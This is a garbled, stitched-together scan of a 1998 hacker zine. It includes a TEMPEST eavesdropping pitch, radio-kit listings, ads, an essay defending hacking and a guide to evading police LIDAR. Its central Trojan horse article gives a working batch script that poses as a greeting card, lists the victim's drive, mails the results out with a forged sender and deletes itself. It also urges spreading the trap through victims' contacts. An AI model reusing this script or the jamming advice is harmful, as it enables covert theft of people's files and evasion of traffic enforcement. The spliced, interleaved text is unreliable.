Every company circulates confidential memos that would be embarrassing if released to the public. TEMPEST technology
makes corporate snooping simple.

The Dissident:

Dissidents want to damage more than your company's reputation. They may use TEMPEST technology as a means of
compromising your internal security, valuable products and equipment, and even executive travel plans in order to commit
crimes against your person, family or property!

Financial Operators

Unethical financiers can benefit greatly from prior knowledge of a company's financial dealings. TEMPEST attacks can be
mounted quickly and from a distance with virtually no chance of discovery.

Competitors:

Competitors may seek to gain information on product development, marketing strategies or critical vulnerabilities. Imagine the
consequences of a concerted TEMPEST attack on Wall Street. How much are you going to offer for that stock next week? You
need to buy how many shares for control?

Unions:

Unscrupulous union negotiators may use TEMPEST technology to gain knowledge of a company's bargaining strategies and
vulnerabilities. Is your company having labor problems? Is your company involved in any type of litigation or lawsuit with a
union? Does your company have layoffs pending?
Employees:

One of your company's employees might use TEMPEST technology on another to further his own career and to discredit his adversary. It would be a simple matter for an adversary to plant a mole in your company who could position TEMPEST monitoring equipment in the right direction even though they might not be allowed to enter a specific restricted area...

The Information Warrior:

Brokers may profit from selling your company's secrets to the highest bidder, or maybe even to anyone who wants to know! Does your company have stock that is traded publicly? Or will be soon? With TEMPEST technology there is nowhere to run...nowhere to hide...Keep in mind that anybody with money, power, influence, or sensitive information is at serious risk.

FINDINGS AND RECOMMENDATIONS

Using simple off-the-shelf components with minor modifications we were able to monitor computer CRTs "at-will" in suburban and urban environments. We did not recreate the wheel. The TEMPEST monitoring premise is simple and anyone with a basic knowledge of electronics could construct such a device and use it with impunity.

Our DataScan device differs from earlier models because of the unique signal amplification and directional antenna array used which we believe enhances the collection process greatly.

It appears from our research that most individuals and companies do not use TEMPEST certified equipment and most have never even heard of TEMPEST.

I believe the media should be made aware of the problem in hope that publicity about potential TEMPEST attacks will force the government to release the information necessary to allow private citizens and industry the means to properly secure their proprietary data.

Copyright 1996, All Rights Reserved
Frank Jones CEO
Technical Assistance Group
2472 Broadway Suite 328
New York, New York 10025 USA
24 Hour Voice Mail: 917-277-1983
E-Mail: spyking@thecodex.com

To look for more TEMPEST information on the web try these phrases on your favorite search engine: tempest monitoring, tempest shielding, van eck monitoring, van eck eavesdropping.
One of the oldest known revenge tactics is the proverbial Trojan Horse. A program that will appear as a gift to the user, yet once opened, will commit horrible acts or steal information. While the idea of the Trojan Horse has been lost within the past few years, the opportunity to create them has grown. As time goes on, software vendors are creating bigger, better, badder tools for your Trojan Horse workshop. Here I will discuss a few tools that I have used, and some tricks that you can play with to make the tools work for you.

The first piece of software that I will talk about is WindMail. WindMail deserves an award for it's awesome resemblance to SendMail. SendMail (for you non-geeks) was a program written long ago for UNIX that operates in much the same manner. Both of these packages give you a command line mail program. Also, WindMail operates on whatever SMTP server you tell it to. So look around. Find an SMTP server that is fast and furious! Check those large corporations who are too damn busy to monitor their mail server log files. What makes this command line proggy great is that you can call it from batch files.

Using WindMail in conjunction with a few other programs will allow you to mail results to yourself from you victim. Because the mail is sent so quickly, all you will need is a distraction for the user while WindMail sends off file attachments in the background. Is there something you would like off of that person's machine? Password files? Cookies? A dir of his/her C: drive? A friend of mine has even used this gag to grab the Ultima Online configuration files, which contain valuable password information. Another thing to remember about WindMail is that it features a Queue feature. Perhaps the victim will download your trap, but he is offline when he runs it. This will create a Queued message. The message will sit around until the mail server can be found, and all messages will be "flushed" (this will need additional .bat file writing so read your WindMail documentation).

It will take more than a command line mail program to fool your victim. You will need something to interest him and distract him from his flashing hard drive light. My personal favorite trick is an animated greeting. Animated greetings are quickly becoming more popular, and most morons will open them without thinking twice. So download some nice cheesy Hallmark greetings that are irresistibly adorable. Buy now you are realizing that you will have to write a .bat file to tie these together.

There are several ways to arrange these programs in a .bat file. I personally prefer to get my files first before I let the victim see my dumb ass slide show. So in the .bat file I run the WindMail portion first. While the mail is being sent, the program hangs, so throw in some "wait" prompts. Be creative. Say something like "Looking for your display setting....Done!", etc. Now once that is complete, give them what they want and run the greeting. You may also consider renaming your WindMail program to something else that suits your trick. Your victim will see the name of whatever is running in the top of the DOS window.

So how do you tie all these programs together? Simple! Use TurboSFX. This software package allows you to take a zip file and convert it into an executable file (kind of like WinZip's feature). This executable can install files any way you want them. It will separate certain files into certain directories, overwrite without user permission (AUTOEXEC.BAT?), run splash screens (pull out the porn pics), and most importantly, it will run a file FROM the zip file once the extraction has been completed. So Joe Schmoe will never know what hit him. He will open his greeting, files will be extracted, and a .bat file will be run. All he will ever see is some quickly displayed "echo" stuff from your .bat file, and your stupid animated greeting. If you are super 31337 you will even have your .bat file delete those extra evil files as well as the .bat file itself once it has done the deed.

What are the drawbacks? Well, you knew there were a few. The biggest drawback is that the software I have talked about is all trial stuff. WindMail gives you a full-featured program for their trial. You won't be so lucky with TurboSFX. Although the trial version has all of the standard features, it will display a box whenever your "creation" is run stating that it was created using the trial version.

This is a sure way to tip off your victim and tell him that they are opening a trap. Remember that they are supposed to think this is a greeting card. You could also use WinZip's Self-Extractor. This is available for a free trial too. WinZip comes with an SE creator built into it, but it's VERY weak! Download the add-on and you won't be disappointed.

This is only the beginning. I invite you to explore these tricks and experiment with Trojan Horse warfare. Don't limit yourself to what I have mentioned. Try variations. Maybe in a PKZip proggy and zip up several files you would like from your victim. Perhaps you think the sucker won't open your greeting card since he already hates your guts. Use your WindMail program to send it to him from one of his buddies. Steal his...
address list and send all his pals the same Trojan Horse from him. If you don’t know how to talk directly to SMTP servers, WindMail has an interactive mode. If you use WinZip’s Self-Extractor creator, why not change the icon to something more innocent looking? Have fun with it. I hope if you created some mayhem with these ideas, you will e-mail me and tell me what kind of crap you have pulled.

Special thankx to the following United Phreaks Syndicate Members: ^HellFire^, Eras0r^, Discount_Man, and Cryosis for letting me test these methods on them. :)

Where can I get it?

TurboSFX is available for download at: http://www.pgcc.com/turbosfx
WindMail can be downloaded by going to: http://www.geocel.com/windmail
PKZip (great old DOS zip utility) is still free at: http://www.pkware.com
WinZip’s Self-Extractor can be had at: http://www.winzip.com/downse.htm
Greeting cards are everywhere! Try: http://www.greeting-cards.com

Batch File Example

Here is an example of a .bat file. This assumes you have these files under a directory names c:\greeting.

Windmail.exe - The WindMail command line core.
Windmail.ini - The WindMail config file. Must exist in same directory to run properly.
EVIL.bat - This batch file I am listing.
Greeting.exe - The stupid greeting card of your choice.
Message.txt - A message body in .txt format.

REM Turn the echo off, so commands aren’t shown to Mr. Victim.
@echo off
echo == == == Greeting Card Animation Viewer V1.02 == == ==
echo.
REM Throw in prompts to fool your victim.
echo Please wait while I quickly examine your system!
echo.
echo Looking at your video drivers...(this may take a moment)
REM Change to the root directory, and sump a directory of the C: drive into a file.
c:
cd
dir c: /s >c:\greeting\hard.txt
echo Done!
REM More BS for the victim.
echo.
echo Preparing animation slides...
echo.
echo Found VXD.DLL Video driver!
echo.
echo Loading main animation file...
REM Get into the c:\greeting directory, where all the evil programs are stored.
c:
cd c:\greeting
cls
echo Please wait while temporary files are removed...
echo.
REM Some BS to convince your victim not to shut down your file transfer.
echo (Be patient! Closing this window will cause files to be left on your hard drive)
REM Windmail is run. It sends a file named hard.txt to your email address with a message
REM written in message.txt, and it will appear FROM:Victim@yahoo.com
windmail -a hard.txt -u Victim@yahoo.com -n message.txt youremailhere@yourdomain.com
REM Now the actual greeting card is run.
c:\greeting\greeting.exe
REM Now, you remove all of those evil files since they won’t be needed anymore.
REM The > nul will forward the deleted items into “nul” rather than the recycle bin!
del c:\greeting\hard.txt > nul
del c:\greeting\windmail.exe > nul
del c:\greeting\message.txt > nul
del c:\greeting\windmail.ini > nul

continued on bottom of next page....
Here is a brief list of companies selling low power transmitter kits. Please send me information about any companies not listed, so that I can include them in future versions of this list.

Note to newcomers: to assemble these kits, you must be able to solder components onto a circuit board, and it helps if you know the difference between a resistor and a capacitor. If you haven’t reached this stage of electronic know-how yet, consider buying some of the educational kits available from C&S Sales, 1245 Rosewood, Deerfield IL 60015, telephone 800-292-7711. Their electronic components course (item #ECK10, $14.95) might be especially helpful to newbies.

When assembling radio circuit kits, I prefer to use narrow-diameter silver-bearing solder (Radio Shack #64-013) and a 15 watt soldering iron (64-2051). You may need a more powerful soldering tool for making antennas out of large-diameter wire, soldering really large connectors to a printed circuit board, etc., but the 15 W iron works fine for most kits and reduces the chances of overheating transistors and other heat-sensitive components.

### Ramsey Electronics
793 Canning Parkway
Victor, New York 14564
phone 716-924-4560

The FM-10A is an FM stereo transmitter kit ($34.95 plus shipping) with a few milliwatts of output power. It is based on the BA1404 integrated circuit. Ramsey kits have well-written instruction manuals, and most of the circuit boards have lots of wide open space which makes modifications easy. The company also has a good reputation for service. These factors make Ramsey kits a good choice for beginners, in my opinion. Their AM transmitter kit (item #AM-1, $29.95) and their TV transmitter kit (item #TV-6, $27.95) might also be of interest; however, there is much room for improvement in the design of these two circuits.

### DC Electronics
P.O. Box 3203
Scottsdale, Arizona 85271

The Improved Stereocaster is another FM stereo transmitter based on the BA1404 chip with a few milliwatts of output power ($29.95 plus $3.50 S&H). It has a smooth fine-tuning control which makes it easy to get on the exact frequency you want, and a voltage regulator for the BA1404 which improves stability. Documentation is not quite as lucid as Ramsey’s.

### Panaxis Productions
P.O. Box 130
Paradise, California 95967-0130
Catalog $1

This company offers many interesting books and kits. The REB-1 kit is a 100 milliwatt transmitter for the upper end of the AM band ($34.95 plus shipping). The FMO kit ($75) is a high fidelity stereo FM transmitter kit with 2 to 20 milliwatts of output power. The FME-500, a half-watt mono FM transmitter with excellent technical characteristics, can be combined with their stereo generator to build a high-quality low power station (>$200 for the two kits). Other items of interest include transmitters for the 1750 meter band; a 1-watt shortwave transmitter kit; and more powerful FM transmitters (available only for export to countries other than the USA). Panaxis kits might no be suitable for absolute beginners; you should have a little experience in circuit assembly before you tackle these.

### Supercircuits
13552 Research BLVD
Austin, Texas 78750

This company sells a low-power TV transmitter for channels 3 through 6 which appears to be of high quality ($49.985 plus $4.50 S&H). For licensed radio amateurs, they also sell some ham TV transmitter kits with 1 to 2 watts peak output power that can be adapted for use on UHF channels 14 through 19, and a linear amp for boosting the output of these transmitters.

...continued from previous page

cls
REM Some BS
echo Process finished!
echo.
echoe For more FREE animations, visit our website at www.greeting-cards.com!
echo.
echo (If this window did not close automatically, you may close it now)
REM Finally, delete this bat file. You don’t want anybody to see this file!
del c:\greeting\EVIL.bat > nul
Items listed in their advertisements include a 5 watt mono FM transmitter kit ($55 plus shipping), a 1/2 to 1 watt stereo FM transmitter kit ($50), plus kits for output filters, dummy loads, RF amplifiers, and antenna. Some people who ordered kits from FRB have reported that they've waited a long time before receiving their kits. Other have said they had no problems when dealing with FRB. FRB is spearheading a movement to challenge the FCC's regulations and is trying to foster a low power broadcasting movement. Contact them for more information. (Internet: frbspd@crl.com)

Xandi Electronics
P.O. Box 25647
Tempe, Arizona 85285
phone 800-336-7389 or 602-894-0992

The XFS108 kit ($41.95) is an FM stereo transmitter, probably based on the BA1404. Their advertisements give no specifics.

Tentronix
3605 broken Arrow
Coeur d'Alene, Idaho 83814
phone 208-664-2312

Another BA1404 based FM stereo transmitter kit ($24).

WE’VE GOT SOME GOOD STUPH FOR YOU!

ECS QUARTZ CRYSTALS

We’ve got NINTENDO BITS! $12 plus $2sl each.
Please Specify 3.8mm or 4.5mm

Opens up all Nintendo game units and cartridges!
3.8mm typically fits the cartridges.
4.5mm typically fits the game units.

We’ve got both 6.50Mhz and 6.5536Mhz crystals.
We know you may want one or the other depending on your particular project.
$4 each including shipping.

We sell just about any screwdriver bit you’re looking for. We have the hard to find bits like security Torx (also known as tamper Torx), Scrulox (security Scrulox), Spanner, Internal and External Line Head (like the Nintendo bits above), Tri-wing, Security Hex, Spline and Pozzi Drive. Most bits are $12-$15 each.

Our best selling 30 piece screwdriver bit set is now available for $40 including shipping to anywhere in the U.S. The set includes 9 security Torx bits from T7 through T40, 7 security Hex bits from 5/64" through 1/4", 4 security Scrulox bits from S-0 through S-3, 8 standard pieces, covered plastic case w/ a nice handle for all of the bits. This is an extremely handy toolset!

6.50Mhz Crystals
6.5536Mhz Crystals
EPROM Programming
Auction Booklet
Unusual web site listing
Tool bits(includingsecurity)

TO FIND OUT MORE ABOUT ANY SPECIFIC PRODUCT WE HAVE, PLEASE CHECK OUT OUR ADS IN THE CLASSIFIED SECTION OF THIS MAGAZINE.

TCE Information Systems
P.O. Box 5142
Los Alamitos, CA 90720

Testing testing testing... testing one...two....three...
CAN ANYONE READ THIS?
SEND ARTICLES, PHOTOGRAPHS & ARTWORK to:
The Hackers Underground Digest
P.O. Box 2521
Cypress, CA 90630

THUD Volume 1 Issue 2 - Fall 1998 15
Contrary to what appears on the surface to be illegal, knowledge of how something operates is by itself, quite lawful. It is not illegal to have, sell, give away, communicate or otherwise transmit such knowledge, unless specifically prohibited by law and/or with the express intent to use such knowledge in an unlawful manner.

It is not unlawful to be a "hacker", contrary to what the press, Janet Reno, and Hollywood would have you believe. Do some hackers break the law? I think so, yes. Aren't all hackers the same? No. There are both 'good and bad' hackers. The distinction between the two being lost by those proclaiming that "all hackers are bad, and are breaking the law". Read the definition of a real hacker further down this page for a better understanding of just what makes a hacker and why.

EXAMPLES

(1) Schools teach knowledge all the time. Some of the things taught can be used improperly. TV shows how to "kill people" all the time. Knowledge by itself in not immoral or otherwise illegal. Mere possession of knowledge, is not an indicator that the person possessing the knowledge will commit a crime using it. Promoting or advocating the unlawful use of any knowledge is generally illegal, however.

(2) Consider the person who purchases a gun. The purchase is legal. The ownership is legal. The use (firing), within the law, is legal. Now have this same legal person shoot the guy next door. This is illegal. The gun isn't at fault. The seller of the gun is not held liable, the manufacturer of the gun is not involved, even though he designed and manufactured the weapon. Only the person actually committing the crime is held liable. And only for the action of killing another, and not for the ownership of a weapon.

And so it goes with information, books, chips, knowledge, etc. It is in the application of the knowledge that determines whether or not the person(s) involved are committing a crime. We strongly advocate using all the knowledge and hardware/software we sell or make available in a legal fashion to benefit or educate the user(s) and not to the detriment of some cable operator, Sysop or other company or entity.

Is hacking legal? Yes, if done lawfully.

HOW LONG WILL IT TAKE ME TO BECOME A HACKER?

A minimum of 2-3 lifetimes, or maybe, slightly less. Some have done it in only one lifetime, but there is much to learn. Hacking requires the application of one's "raw brain power" combined with knowledge gained through exploring and experiencing. No hacker is ever complete, one just evolves. Hacking is therefore a commitment to learning. If you dislike school, hacking can be a way to increase your knowledge and better yourself. As Teddy once said:

"Hackers lead the way...Others follow. Be a Hacker."

Teddy addressing U.S. Congress, 1992, or was it Pedro's Bar and Grill?...

DEFINITION FROM THE NEW HACKERS DICTIONARY

hacker /n./

[originally, someone who makes furniture with an axe] 1. A person who enjoys exploring the details of programmable systems and how to stretch their capabilities, as opposed to most users, who prefer to learn only the minimum necessary. 2. One who programs enthusiastically (even obsessively) or who enjoys programming rather than just theorizing about programming. 3. A person capable of appreciating hack value. 4. A person who is good at programming quickly. 5. An expert at a particular program, or one who frequently does work using it or on it; as in 'a Unix hacker'. (Definitions 1 through 5 are correlated, and people who fit them congregate.) 6. An expert or enthusiast of any kind. One might be an astronomy hacker, for example. 7. One who enjoys the intellectual challenge of creatively overcoming or circumventing limitations. 8. [deprecated] A malicious meddler who tries to discover sensitive information by poking around. Hence 'password hacker', 'network hacker'. The correct term for this sense is 'cracker'.

The term 'hacker' also tends to connote membership in the global community defined by the net (see network, the and Internet address). It also implies that the person described is seen to subscribe to some version of the hacker ethic (see hacker ethic).

It is better to be described as a hacker by others than to describe oneself that way. Hackers consider themselves something of an elite (a meritocracy based on ability), though one to which new members are gladly welcome. There is thus a certain ego satisfaction to be had in identifying yourself as a hacker (but if you claim to be one and are not, you'll quickly be labeled bogus). See also 'wannabee'. (THUD editors note: also see 'lamer' or 'larnah')
If you're looking for one of those hard to find arcade games, this is the place to call. We have one of the largest selections of hard to find classic arcade games and pinballs. If you're looking for a part or you just want an arcade game for your business site or for home use, give us a call. Be sure to mention you saw the ad here in Blacklisted! 411.
Most of you are familiar with police RADAR, especially if you have a lead foot, or like me, a lead wrist. We've all been flying down the freeway or some other road and seen the police officer on his motorbike pointing that oversized can of Pringles at us. No, that funny feeling you get inside is not because the microwaves are frying your innards!!! I'm sure many of you also have RADAR detectors. Well guess what?! The police have a new speed detection system called L1DAR. I suppose most of you have already heard of it so that's not such big news. But I'm betting that most of you don't know that LIDAR detectors exist, and even fewer know that there are LIDAR jammers, just like for RADAR. LIDAR has some very distinct advantages over conventional RADAR, both for the police and you, the one trying to get out of a speeding ticket. In this article we will be covering the theory of how LIDAR works, how to detect it, and more importantly, how to defeat or jam the system. We will also discuss some of the legal issues regarding use and misuse of LIDAR.

How LIDAR Works

LIDAR, like RADAR, sends out a beam of electromagnetic radiation of a specific frequency and/or modulation. This radiation is reflected off the target and any movement will impart a doppler shift to the signal, much the way a train whistle changes in pitch as it goes by while you sit in traffic, trying to get to work ten minutes ago. This shifted signal is compared to the original signal sent out by the speed detection device to arrive at a speed of the target.

LIDAR uses infrared radiation unlike RADAR which uses microwaves. Basically it's just a much much higher frequency. Generating these frequencies is easy. The device just uses a LASER diode similar to the ones used in CD and DVD players. At these high frequencies it is more common to specify the wavelength of the device rather than the frequency. In the case of LIDAR the wavelength is 904nm (nanometers, one billionth of a meter, one millionth of a millimeter, damned small!!!) which, based on a speed of light of 299,792,458 meters per second gives a frequency of 331.62882 THz (tera hertz, 1000 gigahertz, one million megahertz.) Obviously it's much easier to say 904nm than it is to say 331.62882 THz.

Since it is very difficult to measure the slight doplar shift of such high frequencies the 904nm LASER diode is pulsed at 1KHz (1000 times per second) with each pulse lasting only 5ns (nanoseconds, a billionth of a second.) Instead, the precise timing of these pulses are compared with how long the pulses take to return to the detector. If the target is moving toward or away from the detector, the pulses will arrive either a little farther apart (moving away) or a little closer (moving towards) together. It is this kilohertz signal that becomes doplar shifted and is used to determine the speed of the target.

Detectors

It is possible to detect LIDAR with a small device in the same manner as a RADAR detector. There is just one problem though. The advantage for the police of using LIDAR is how fast the speed gun is able to lock on the target and determine it's speed. Since the speed gun only sends out the laser when the officer pulls the trigger, you're LIDAR detector is liable only to warn you that you are about to be pulled over. If you happen to be somewhat in line with the officer and a car in front of you that is being target, you may detect some stray radiation and you will be forwarned of the LIDAR speed gun presence. Obviously this is of little use to the driver so the only way to defeat LIDAR is to reduce the amount of radiation returned from your car or to actively jam the LIDAR signal with your own 904nm emitters.

The Stealth Approach

Stealth does not make your car invisible, just as the F-117 Stealth fighter is not totally invisible on RADAR. Stealth simply means to reduce the range at which confirmed detection takes place. Stealth as applied to LIDAR simply reduces the range at which an officer using LIDAR is able to get a lock on your vehicle and determine your speed. The advantage of stealth to the driver is that he has a LIDAR detector which then goes off before the LIDAR gun has a chance to lock onto the car giving you, the driver, time to slow down and avoid a ticket.

So how do you make yourself stealthy? In principle, LIDAR relies on reflections of the laser radiation in order to detect your speed. So in principle, you reduce the amount of reflections on your car. Crazy you say? What about all my chrome and shiny head lights? Doesn't surprise me that you didn't guess license plates. I bet your license plate has a brightest reflection is the license plate. Of course there are other reflections but more on those later. To know why this fact is important a little more information on the LIDAR gun is in order.

So far we know the frequency, 904nm, and the pulse characteristics, 5ns pulses at 1KHz repetition rate. Now you need to know that size of the LASER beam itself. Most LASERS are very narrow beams that do not spread very much. Any of you with LASER pointers will know that. There is a difference with the LASER used in LIDAR. It spreads just a bit more, which is by design. The cone of radiation is measured in radians instead of degrees. A radian is a hemisphere / pi, that is, 180/3.141592653589, which turns out to be 57.29578 degrees. That's a pretty large and
cumbersome unit to use, kinda like the Farad used to measure capacitors in electronics. Instead, milliradians are commonly used, being 1 thousandth of a radian (0.05729578 degrees).

The LIDAR LASER is emitted in a cone of 4 milliradians. Doing some quick trigonometry it turns out that at 250 meters the LIDAR beam has expanded to a radius of just a hair over 1 meter. That is another reason LIDAR is so effective for the police officer. They can target a specific car quite easily due to the relatively narrow beam compared to conventional RADAR. And on top of this, the police officers are trained to target your license plate specifically. Remember how reflective it is?

There are, obviously, other reflective parts on your car. After your license plate would be all the reflectors. Your side reflectors and tail lights usually have these little hexagonal cubes in them like in a bicycle reflector. They serve the same purpose and, if facing towards the officer with the LIDAR gun, will help reflect some of the LASER back to the detector. These reflectors are usually only found on the side and integrated into the tail lights. This is still important because LIDAR works just as good if you are driving away from the officer as if you were driving towards him. Yes, he could zap you with the LIDAR *AFTER* you have passed the officer totally concealed behind that big tree. Most people don’t think about getting zapped from behind.

Also of importance to reflections are your headlights. Headlights by design are optical focusers. They are made to focus the light from the small filament in the bulb into a narrow beam. Of course the glass cover then disperses some of this light to the sides so you don’t have complete tunnel vision at night. The point is that headlights can reflect some of the LIDAR radiation back towards the detector.

Of less importance is anything else that’s particularly shiny on your car. Things like chrome bumpers adn grill work will reflect some radiation but this amount is almost negligible when compared to the license plate.

Now, it should be noted that all the reflective surface just discussed are visible reflections, which are typically defined as the range of 700 to 300 nanometers. LIDAR uses 904nm infrared radiation and just because something is reflective or dull in visible does not mean it is so in infrared. But not to worry, 904nm is close enough to the visible that any differences in reflectivity can safely be ignored.

Making Your Car Stealthy

So now that you know what it is that reflects the LIDAR radiation, how do you keep your car from reflecting the LASER back to the detector? First off, it is impossible to eliminate ALL the reflections but you can do a lot towards reducing the amount of reflection enough to allow your LIDAR detector enough time to warn you so you can slow down in time.

Since the most reflective part of you car is the license plate, a simple plastic cover that absorbs 904nm radiation will go a long way towards stealthing your car. These shields are optically transparent, that is they look clear, yet they absorb the 904nm LIDAR radiation thereby prevent the officer from getting a LIDAR lock on your license plate until you are very close to them. By then your detector will have gone off and you will have slowed to a legal speed. There are manufacturers of such shields. There’s a few with websites listed at the end of this article. Also, if you can legally get away with it, removing your front license plate will reduce your vehicles frontward reflections quite a bit. Remember, the license plate is the number one source of reflections by a long shot and in most speed traps the officer is pointing the LIDAR at the front of the car. But remeber to get one for your rear license plate as well to be safe. Something else you can do at the end of this article. Also, if you can legally get away with it, removing your front license plate will reduce your vehicles frontward reflections quite a bit. Remember, the license plate is the number one source of reflections by a long shot and in most speed traps the officer is pointing the LIDAR at the front of the car. But remeber to get one for your rear license plate as well to be safe. Something else you can do at the end of this article.

The principle behind jamming is to send out your own signal so that the detector is blinded and unable to see its own reflection. It’s just like what the military does with RADAR. A good example is a concert. It’s pretty hard to hear someone talking if Metallica is cranking out 130 decibels.

One way of jamming the signal is to simply have an array of LEDs or even LASER diodes that cover 904nm shining towards the LIDAR gun. There is one sticking point to this idea though. The incoming signal from the LIDAR gun is a pulsed 1KHz pulse train. In order to effectively drown out this signal a CW (continuous wave, like DC as opposed to AC) signal would have to be pretty bright in order to drown it out. It’s like having a really loud horn blowing on a certain note.
Even though the horn is loud you will still be able to hear a quieter note that is pulsing. The horn would have to be really loud in order for you to not hear the quieter notes. Anyway, a little more background on the power levels involved will help.

The LASER diode in a LIDAR unit pulses at 25 watts of power. From earlier paragraphs you will recall that the beam spreads by a certain amount, which at 250 meters ends up being about 1 meter across. This beam spread reduces energy density the farther it has to go. A 1 meter circle has an area of 3.14 square meters. License plates have an area of .046 square meters (6x12 inches, 72 inches sq) which means the license plate could only reflect at most 1.46 percent of the LIDAR energy. Since the reflective coating only reflects about ten percent let’s cut this number down to .1 percent. This means the license plate only reflects about 25 milliwatts.

Most license plates reflect light at a narrow range of angles, pretty close to the 4 milliradians of the LIDAR emitter. If this is the case then the light reflected back to the LIDAR unit 250 meters away spreads to the same 1 meter diameter cone. But, the LIDAR detector lense is about 4 inches across, or about .1 meters, which gives an area of only .000785 meters square. That means the light received by the detector from the license plate is only .785 percent of the reflected 25 milliwatts, or about 20 microwatts. Needless to say the detector has to be very sensitive.

Now that we know how little energy the LIDAR detector is detecting, we can use the reverse process to figure out how powerful our emitters would have to be to drown out the detector. Let’s assume (I hate assuming but I have no hard data on how much energy is needed) that in order to drown out the detector it needs to receive 100 times the energy it normally detects. That’d be 20 microwatts x 100 or 2 milliwatts.

Now, if we’re 250 meters away with a 944nm emitter how much power do we need to transmit? The problem is that since we don’t know where the LIDAR detector is, our emitters beam diameter is going to need to be pretty wide. If we figure an average four lane highway to be 50 feet, or 15 meters across, we can use 15 meters as how wide our beam is at 250 meters. That means it has an area of 177 meters square!!! Pretty big. From above we know the detector to have an area of only .000785 meters square. That means it will receive only .0044 percent of our jamming emitters output. Knowing that it takes 2 milliwatts to jam the detector, we calculate that out emitter would have to be at least 45 watts. Obviously it would take a heck of a lot of LEDs to get that kind of power. And this is with an assumption that it only takes 100 times the normal received signal power to drown out the detector. It could very well require even more to do so.

Seems it might be infeasible to jam the signal. Sure, if you wanted to spend the hundreds of dollars I suppose you could actually purchase the same LASER diodes that are used in the LIDAR units and easily come up with enough power to do the job. But the cost of that almost makes the ticket worthwhile.

But wait, there’s more. It still may work IF you use the above stealth techniques IN ADDITION TO the jamming system. If you eliminate the license plate as a reflector you’ve eliminated 75 percent of the signal return to the LIDAR. That means you only need 25 percent of the original power or about 12 watts. That’s still quite a bit of power but much more feasible.

Active Jamming

There is a slightly different approach to jamming. The above technique works on the principle of blinding or drowning out the detector with so much energy that it cannot ‘see’ the reflected signal from itself. But what if the LIDAR detector received so many different signals at once? It’d be confused and not know which one to lock onto. It’s kind like trying to pick out one voice out of a group of 50 people. Fortunately LIDAR doesn’t need 50 signals to get confused, it only needs two or three, maybe even only one!!!

How wold this be done? Well, we already know that the way LIDAR works is that it detects a time shift in the reflected pulse train because the target vehicle is moving. What if we sent out our own pulse train? This is in principle relatively easy. All that is needed is a simple computer connected to your car in some way as to know how fast you are going. It could then determine what the dopler shift of a LIDAR beam would be at that speed if it were to be targeted. The computer could then make it’s own pulse train at the right ‘doplar shift’ to simulate a vehicle going at the speed limit, slower, or even some outrageous speed. It could in effect send two signals to the LIDAR unit, one saying the car is going 25 mph and another saying it was going 250 mph!! These would be received along with the REAL signal of 85mph. The LIDAR detector won’t know which signal is the real signal and won’t be able to tell the officer you’re speeding.

The beauty of this is that you won’t need to drown out the detector, therefore needing to transmit tens of watts of power. You may only need to transmit one watt, easily in the range of a few, possibly only one IR LED. The downside is the sophistication of the electronics to perform this task. Using this active jamming method in conjunction with the stealth techniques outline above will more than likely keep you from getting a ticket. That is unless you were doing that 85 mph on a residential street!!!

Legal issues.

LIDAR detection is unregulated in nearly every state. Listed below is a list of those states that DO have some sort of regulations or laws. It should be noted that federal law prohibits detectors in commercial vehicles in ALL states.

District of Columbia - Jammers and detectors both illegal.

Minnesota - Jammers illegal. Detectors ok, but they supposedly have a law about hanging things from windshields...better use dash mount.

Oklahoma - Jammers illegal. Detectors ok.

Virginia - both illegal. In fact, Virginia is so anal about detectors/jammers that you can’t even have them in the car, functioning or not, period. You might be ok if it’s stowed in the trunk, unplugged.

You may be wondering about jammers and the FCC. Well,
since the frequency at 904nm is so high and the FCC currently considers anything above 300 Ghz amateur, you're completely safe.

However, just because there is no law specifically against jamming doesn't mean they (the police or whoever) won't use some obscure law and twist it in their favor, something like obstruction of justice or some other BS.

If you're not completely sure about it, it won't hurt to check with your local law enforcement service to find out. Be safe, and happy speeding!!!

Weblistings


http://www.a-concepts.com/
Applied Concepts, Inc.

http://www.lasertech.com/apps/speed.html Laser Measurement for Speed Enforcement Applications


http://www.speedtrap.com/info.html The Speed Trap Registry


<table>
<thead>
<tr>
<th>State</th>
<th>Detectors</th>
<th>Jammers</th>
</tr>
</thead>
<tbody>
<tr>
<td>Alabama</td>
<td>OK</td>
<td>OK</td>
</tr>
<tr>
<td>Arizona</td>
<td>OK</td>
<td>OK</td>
</tr>
<tr>
<td>Arkansas</td>
<td>OK</td>
<td>OK</td>
</tr>
<tr>
<td>California</td>
<td>OK</td>
<td>OK</td>
</tr>
<tr>
<td>Colorado</td>
<td>OK</td>
<td>OK</td>
</tr>
<tr>
<td>Connecticut</td>
<td>OK</td>
<td>OK</td>
</tr>
<tr>
<td>Delaware</td>
<td>OK</td>
<td>OK</td>
</tr>
<tr>
<td>District of Columbia</td>
<td>ILLEGAL</td>
<td>ILLEGAL</td>
</tr>
<tr>
<td>Florida</td>
<td>OK</td>
<td>OK</td>
</tr>
<tr>
<td>Georgia</td>
<td>OK</td>
<td>OK</td>
</tr>
<tr>
<td>Hawaii</td>
<td>??</td>
<td>??</td>
</tr>
<tr>
<td>Idaho</td>
<td>OK</td>
<td>OK</td>
</tr>
<tr>
<td>Illinois</td>
<td>OK</td>
<td>OK</td>
</tr>
<tr>
<td>Indiana</td>
<td>OK</td>
<td>OK</td>
</tr>
<tr>
<td>Iowa</td>
<td>OK</td>
<td>OK</td>
</tr>
<tr>
<td>Kansas</td>
<td>OK</td>
<td>OK</td>
</tr>
<tr>
<td>Kentucky</td>
<td>OK</td>
<td>OK</td>
</tr>
<tr>
<td>Louisiana</td>
<td>OK</td>
<td>OK</td>
</tr>
<tr>
<td>Maine</td>
<td>OK</td>
<td>OK</td>
</tr>
<tr>
<td>Maryland</td>
<td>OK</td>
<td>OK</td>
</tr>
<tr>
<td>Massachusetts</td>
<td>OK</td>
<td>OK</td>
</tr>
<tr>
<td>Michigan</td>
<td>OK</td>
<td>OK</td>
</tr>
<tr>
<td>Minnesota</td>
<td>OK</td>
<td>ILLEGAL</td>
</tr>
<tr>
<td>Missouri</td>
<td>OK</td>
<td>OK</td>
</tr>
<tr>
<td>Montana</td>
<td>OK</td>
<td>OK</td>
</tr>
<tr>
<td>Nebraska</td>
<td>OK</td>
<td>OK</td>
</tr>
<tr>
<td>Nevada</td>
<td>OK</td>
<td>OK</td>
</tr>
<tr>
<td>New Hampshire</td>
<td>OK</td>
<td>OK</td>
</tr>
<tr>
<td>New Jersey</td>
<td>OK</td>
<td>OK</td>
</tr>
<tr>
<td>New Mexico</td>
<td>OK</td>
<td>OK</td>
</tr>
<tr>
<td>New York</td>
<td>OK</td>
<td>OK</td>
</tr>
<tr>
<td>North Carolina</td>
<td>OK</td>
<td>OK</td>
</tr>
<tr>
